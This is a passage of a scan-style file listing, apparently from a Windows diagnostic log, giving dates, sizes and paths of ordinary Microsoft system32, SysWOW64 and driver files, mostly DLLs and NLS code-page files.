2017-03-18 22:57 - 2017-03-18 22:57 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\fhsrchapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00081408 _____ (Microsoft Corporation) C:\windows\system32\cabapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00080896 _____ (Microsoft Corporation) C:\windows\system32\w32tm.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00080896 _____ (Microsoft Corporation) C:\windows\system32\driverquery.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00080696 _____ (Microsoft Corporation) C:\windows\system32\netapi32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00080288 _____ (Microsoft Corporation) C:\windows\system32\mcupdate_AuthenticAMD.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00080288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\SpbCx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00080078 _____ C:\windows\system32\normidna.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\nlaapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00079872 _____ (Microsoft Corporation) C:\windows\system32\eqossnap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00079516 _____ C:\windows\system32\AverageRoom.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\usp10.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\mmci.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00079360 _____ (Microsoft Corporation) C:\windows\system32\avicap32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00078848 _____ (Microsoft Corporation) C:\windows\system32\setbcdlocale.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\wecapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00078336 _____ (Microsoft Corporation) C:\windows\system32\colbact.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\UserLanguageProfileCallback.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\RpcEpMap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077824 _____ (Microsoft Corporation) C:\windows\system32\fhuxgraphics.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\winlogonext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\iscsiwmi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\DeviceCredentialDeployment.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00077312 _____ (Microsoft Corporation) C:\windows\system32\bcdprov.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00077216 _____ (Microsoft Corporation) C:\windows\system32\Drivers\CEA.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\MSDvbNP.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\EventAggregation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00076800 _____ (Microsoft Corporation) C:\windows\system32\dpapimig.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00076288 _____ (Microsoft Corporation) C:\windows\system32\MuiUnattend.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00076288 _____ (Microsoft Corporation) C:\windows\system32\ELSCore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00075776 _____ (Microsoft Corporation) C:\windows\system32\TabbtnEx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00075776 _____ (Microsoft Corporation) C:\windows\system32\Drivers\stream.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00075680 _____ (Microsoft Corporation) C:\windows\system32\Drivers\SerCx.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00075264 _____ (Microsoft Corporation) C:\windows\system32\unimdmat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00075264 _____ (Microsoft Corporation) C:\windows\system32\rasdiag.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00075264 _____ (Microsoft Corporation) C:\windows\system32\iscsidsc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074992 _____ (Microsoft Corporation) C:\windows\system32\profapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074752 _____ (Microsoft Corporation) C:\windows\system32\sigverif.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00074648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hvservice.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00074240 _____ (Microsoft Corporation) C:\windows\system32\ProvSysprep.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074240 _____ (Microsoft Corporation) C:\windows\system32\odbcad32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00074240 _____ (Microsoft Corporation) C:\windows\system32\MaintenanceUI.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074240 _____ (Microsoft Corporation) C:\windows\system32\fmapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074240 _____ (Microsoft Corporation) C:\windows\system32\EnterpriseDesktopAppMgmtCSP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00074144 _____ (Microsoft Corporation) C:\windows\system32\netcfgx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\provplatformdesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\mssign32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\iasdatastore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073728 _____ (Microsoft Corporation) C:\windows\system32\clfsw32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\slwga.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\scripto.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\reg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\fhevents.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00073216 _____ (Microsoft Corporation) C:\windows\system32\djoin.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00072944 _____ (Microsoft Corporation) C:\windows\system32\easinvoker.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\iasads.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00072704 _____ (Microsoft Corporation) C:\windows\system32\btpanui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00072432 _____ (Microsoft Corporation) C:\windows\system32\usermgrcli.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00072192 _____ (Microsoft Corporation) C:\windows\system32\SortWindows6Compat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00072192 _____ (Microsoft Corporation) C:\windows\system32\provisioningcommandscsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00072192 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wcnfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00072192 _____ (Microsoft Corporation) C:\windows\system32\adhsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00071824 _____ C:\windows\system32\normnfkc.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\WWanHC.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\openfiles.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00071680 _____ (Microsoft Corporation) C:\windows\system32\drvcfg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\WABSyncProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\SMSRouter.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00070656 _____ (Microsoft Corporation) C:\windows\system32\pcaui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\stordiag.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\dot3hc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00070144 _____ (Microsoft Corporation) C:\windows\system32\cryptext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069840 _____ (Microsoft Corporation) C:\windows\system32\CastSrv.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00069776 _____ C:\windows\system32\SmallRoom.bin
2017-03-18 22:57 - 2017-03-18 22:57 - 00069632 _____ (Microsoft Corporation) C:\windows\system32\wininetlui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069632 _____ (Microsoft Corporation) C:\windows\system32\Sens.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069632 _____ (Microsoft Corporation) C:\windows\system32\dot3cfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\whoami.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\ntlanman.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\netprovisionsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\fhsrchph.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\esentprf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00069120 _____ (Microsoft Corporation) C:\windows\system32\Drivers\npfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\sc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00068608 _____ (Microsoft Corporation) C:\windows\system32\fdBth.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\umb.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\radarrs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\newdev.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\ncobjapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\MDMAgent.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00068096 _____ (Microsoft Corporation) C:\windows\system32\BackgroundMediaPolicy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\Storprop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\LegacyNetUX.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00067584 _____ (Microsoft Corporation) C:\windows\system32\efsext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\vfwwdm32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00067072 _____ (Microsoft Corporation) C:\windows\system32\dhcpcsvc6.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\SysWOW64\C_437.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_874.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_869.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_866.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_865.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_864.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_863.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_862.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_861.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_860.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_858.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_857.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_855.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_852.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_850.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_775.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_737.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_720.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066594 _____ C:\windows\system32\C_437.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\NapiNSP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\LocationNotificationWindows.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00066560 _____ (Microsoft Corporation) C:\windows\system32\DfsShlEx.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066464 _____ (Microsoft Corporation) C:\windows\system32\PSHED.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_875.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_870.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_500.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_21027.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_21025.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20924.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20905.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20880.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20871.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20838.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20833.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20424.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20423.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20420.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20297.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20290.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20285.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20284.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20280.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20278.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20277.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20273.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20269.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20108.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20107.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20106.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_20105.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1252.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1149.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1148.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1147.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1146.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1145.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1144.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1143.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1142.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1141.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1140.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1047.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_1026.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10082.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10081.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10079.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10029.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10021.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10017.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10010.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10007.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10006.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10005.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10004.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_10000.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\SysWOW64\C_037.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_875.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_870.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_708.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_500.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28605.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\c_28603.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28599.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28598.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28597.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28596.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28595.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28594.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28593.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28592.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_28591.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_21866.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_21027.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_21025.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20924.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20905.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20880.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20871.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20866.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20838.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20833.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20424.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20423.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20420.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20297.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20290.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20285.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20284.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20280.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20278.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20277.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20273.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20269.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20127.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20108.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20107.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20106.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_20105.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1258.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1257.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1256.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1255.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1254.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1253.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1252.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1251.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1250.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1149.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1148.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1147.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1146.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1145.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1144.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1143.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1142.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1141.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1140.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1047.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_1026.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10082.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10081.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10079.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10029.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10021.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10017.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10010.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10007.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10006.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10005.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10004.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_10000.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066082 _____ C:\windows\system32\C_037.NLS
2017-03-18 22:57 - 2017-03-18 22:57 - 00066048 _____ (Microsoft Corporation) C:\windows\system32\StorageUsage.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066048 _____ (Microsoft Corporation) C:\windows\system32\sberes.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066048 _____ (Microsoft Corporation) C:\windows\system32\msiexec.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00066048 _____ (Microsoft Corporation) C:\windows\system32\inetmib1.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00066048 _____ (Microsoft Corporation) C:\windows\system32\DeviceCredential.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065704 _____ (Microsoft Corporation) C:\windows\system32\wlrmdr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00065698 _____ C:\windows\system32\normnfkd.nls
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\wlidnsp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\ndadmin.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\hdwwiz.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\fthsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\fhlisten.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\fhautoplay.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\expand.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00065536 _____ (Microsoft Corporation) C:\windows\system32\cngprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00065024 _____ (Microsoft Corporation) C:\windows\system32\ksxbar.ax
